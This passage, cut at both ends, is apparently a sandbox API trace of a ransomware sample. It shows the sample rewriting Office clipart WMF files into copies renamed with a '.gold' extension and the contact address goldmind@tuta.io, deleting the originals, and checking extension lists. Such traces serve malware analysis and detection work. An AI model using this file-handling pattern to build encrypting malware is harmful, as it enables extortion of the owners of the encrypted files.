office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.403] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.403] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.403] GetLastError () returned 0x0 [0109.403] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1104, lpOverlapped=0x0) returned 1 [0109.408] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1110, lpOverlapped=0x0) returned 1 [0109.408] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.408] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.408] SetEndOfFile (hFile=0x188) returned 1 [0109.409] CloseHandle (hObject=0x188) returned 1 [0109.409] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.409] SetEndOfFile (hFile=0x3b4) returned 1 [0109.411] CloseHandle (hObject=0x3b4) returned 1 [0109.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0109.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.415] lstrlenW (lpString=".doc") returned 4 [0109.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".docx") returned 5 [0109.416] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.416] lstrlenW (lpString=".pdf") returned 4 [0109.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".xls") returned 4 [0109.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.416] lstrlenW (lpString=".xlsx") returned 5 [0109.416] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.416] lstrlenW (lpString=".ppt") returned 4 [0109.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".zip") returned 4 [0109.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.416] lstrlenW (lpString=".rar") returned 4 [0109.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".bz2") returned 4 [0109.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".7z") returned 3 [0109.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".dbf") returned 4 [0109.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".1cd") returned 4 [0109.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".jpg") returned 4 [0109.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".doc") returned 4 [0109.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".docx") returned 5 [0109.416] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.416] lstrlenW (lpString=".pdf") returned 4 [0109.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".xls") returned 4 [0109.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.416] lstrlenW (lpString=".xlsx") returned 5 [0109.416] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.416] lstrlenW (lpString=".ppt") returned 4 [0109.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".zip") returned 4 [0109.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.416] lstrlenW (lpString=".rar") returned 4 [0109.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".bz2") returned 4 [0109.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString=".7z") returned 3 [0109.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".dbf") returned 4 [0109.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.416] lstrlenW (lpString=".1cd") returned 4 [0109.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0109.417] lstrlenW (lpString=".jpg") returned 4 [0109.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.417] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.417] lstrlenW (lpString="J0151045.WMF") returned 12 [0109.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.417] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=15464) returned 1 [0109.417] CloseHandle (hObject=0x3b4) returned 1 [0109.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 0x20 [0109.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.418] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.418] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.419] GetLastError () returned 0x0 [0109.419] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3c68, lpOverlapped=0x0) returned 1 [0109.420] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3c70, lpOverlapped=0x0) returned 1 [0109.421] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.421] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.421] SetEndOfFile (hFile=0x188) returned 1 [0109.421] CloseHandle (hObject=0x188) returned 1 [0109.421] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.421] SetEndOfFile (hFile=0x3b4) returned 1 [0109.423] CloseHandle (hObject=0x3b4) returned 1 [0109.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0109.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.424] lstrlenW (lpString=".doc") returned 4 [0109.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.424] lstrlenW (lpString=".docx") returned 5 [0109.424] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0109.424] lstrlenW (lpString=".pdf") returned 4 [0109.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.424] lstrlenW (lpString=".xls") returned 4 [0109.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.425] lstrlenW (lpString=".xlsx") returned 5 [0109.425] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0109.425] lstrlenW (lpString=".ppt") returned 4 [0109.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.425] lstrlenW (lpString=".zip") returned 4 [0109.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.425] lstrlenW (lpString=".rar") returned 4 [0109.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString=".bz2") returned 4 [0109.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString=".7z") returned 3 [0109.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.425] lstrlenW (lpString=".dbf") returned 4 [0109.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.425] lstrlenW (lpString=".1cd") returned 4 [0109.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.425] lstrlenW (lpString=".jpg") returned 4 [0109.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.425] lstrlenW (lpString=".doc") returned 4 [0109.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString=".docx") returned 5 [0109.425] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0109.425] lstrlenW (lpString=".pdf") returned 4 [0109.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString=".xls") returned 4 [0109.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.425] lstrlenW (lpString=".xlsx") returned 5 [0109.425] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0109.425] lstrlenW (lpString=".ppt") returned 4 [0109.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.425] lstrlenW (lpString=".zip") returned 4 [0109.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.425] lstrlenW (lpString=".rar") returned 4 [0109.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.426] lstrlenW (lpString=".bz2") returned 4 [0109.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.426] lstrlenW (lpString=".7z") returned 3 [0109.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.426] lstrlenW (lpString=".dbf") returned 4 [0109.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.426] lstrlenW (lpString=".1cd") returned 4 [0109.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0109.426] lstrlenW (lpString=".jpg") returned 4 [0109.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.426] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.426] lstrlenW (lpString="J0151047.WMF") returned 12 [0109.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.426] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=18500) returned 1 [0109.426] CloseHandle (hObject=0x3b4) returned 1 [0109.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 0x20 [0109.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.427] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.427] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.428] GetLastError () returned 0x0 [0109.428] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4844, lpOverlapped=0x0) returned 1 [0109.429] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4850, lpOverlapped=0x0) returned 1 [0109.430] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.430] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.430] SetEndOfFile (hFile=0x188) returned 1 [0109.430] CloseHandle (hObject=0x188) returned 1 [0109.431] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.431] SetEndOfFile (hFile=0x3b4) returned 1 [0109.432] CloseHandle (hObject=0x3b4) returned 1 [0109.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString=".doc") returned 4 [0109.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString=".docx") returned 5 [0109.434] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0109.434] lstrlenW (lpString=".pdf") returned 4 [0109.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString=".xls") returned 4 [0109.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.434] lstrlenW (lpString=".xlsx") returned 5 [0109.434] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0109.434] lstrlenW (lpString=".ppt") returned 4 [0109.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString=".zip") returned 4 [0109.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.434] lstrlenW (lpString=".rar") returned 4 [0109.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString=".bz2") returned 4 [0109.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString=".7z") returned 3 [0109.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString=".dbf") returned 4 [0109.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString=".1cd") returned 4 [0109.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString=".jpg") returned 4 [0109.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString=".doc") returned 4 [0109.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString=".docx") returned 5 [0109.434] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0109.434] lstrlenW (lpString=".pdf") returned 4 [0109.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString=".xls") returned 4 [0109.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.434] lstrlenW (lpString=".xlsx") returned 5 [0109.434] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0109.434] lstrlenW (lpString=".ppt") returned 4 [0109.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.434] lstrlenW (lpString=".zip") returned 4 [0109.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.434] lstrlenW (lpString=".rar") returned 4 [0109.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.435] lstrlenW (lpString=".bz2") returned 4 [0109.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.435] lstrlenW (lpString=".7z") returned 3 [0109.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.435] lstrlenW (lpString=".dbf") returned 4 [0109.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.435] lstrlenW (lpString=".1cd") returned 4 [0109.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0109.435] lstrlenW (lpString=".jpg") returned 4 [0109.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.435] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.435] lstrlenW (lpString="J0151055.WMF") returned 12 [0109.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.436] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=14632) returned 1 [0109.436] CloseHandle (hObject=0x3b4) returned 1 [0109.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 0x20 [0109.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.436] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.436] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.436] 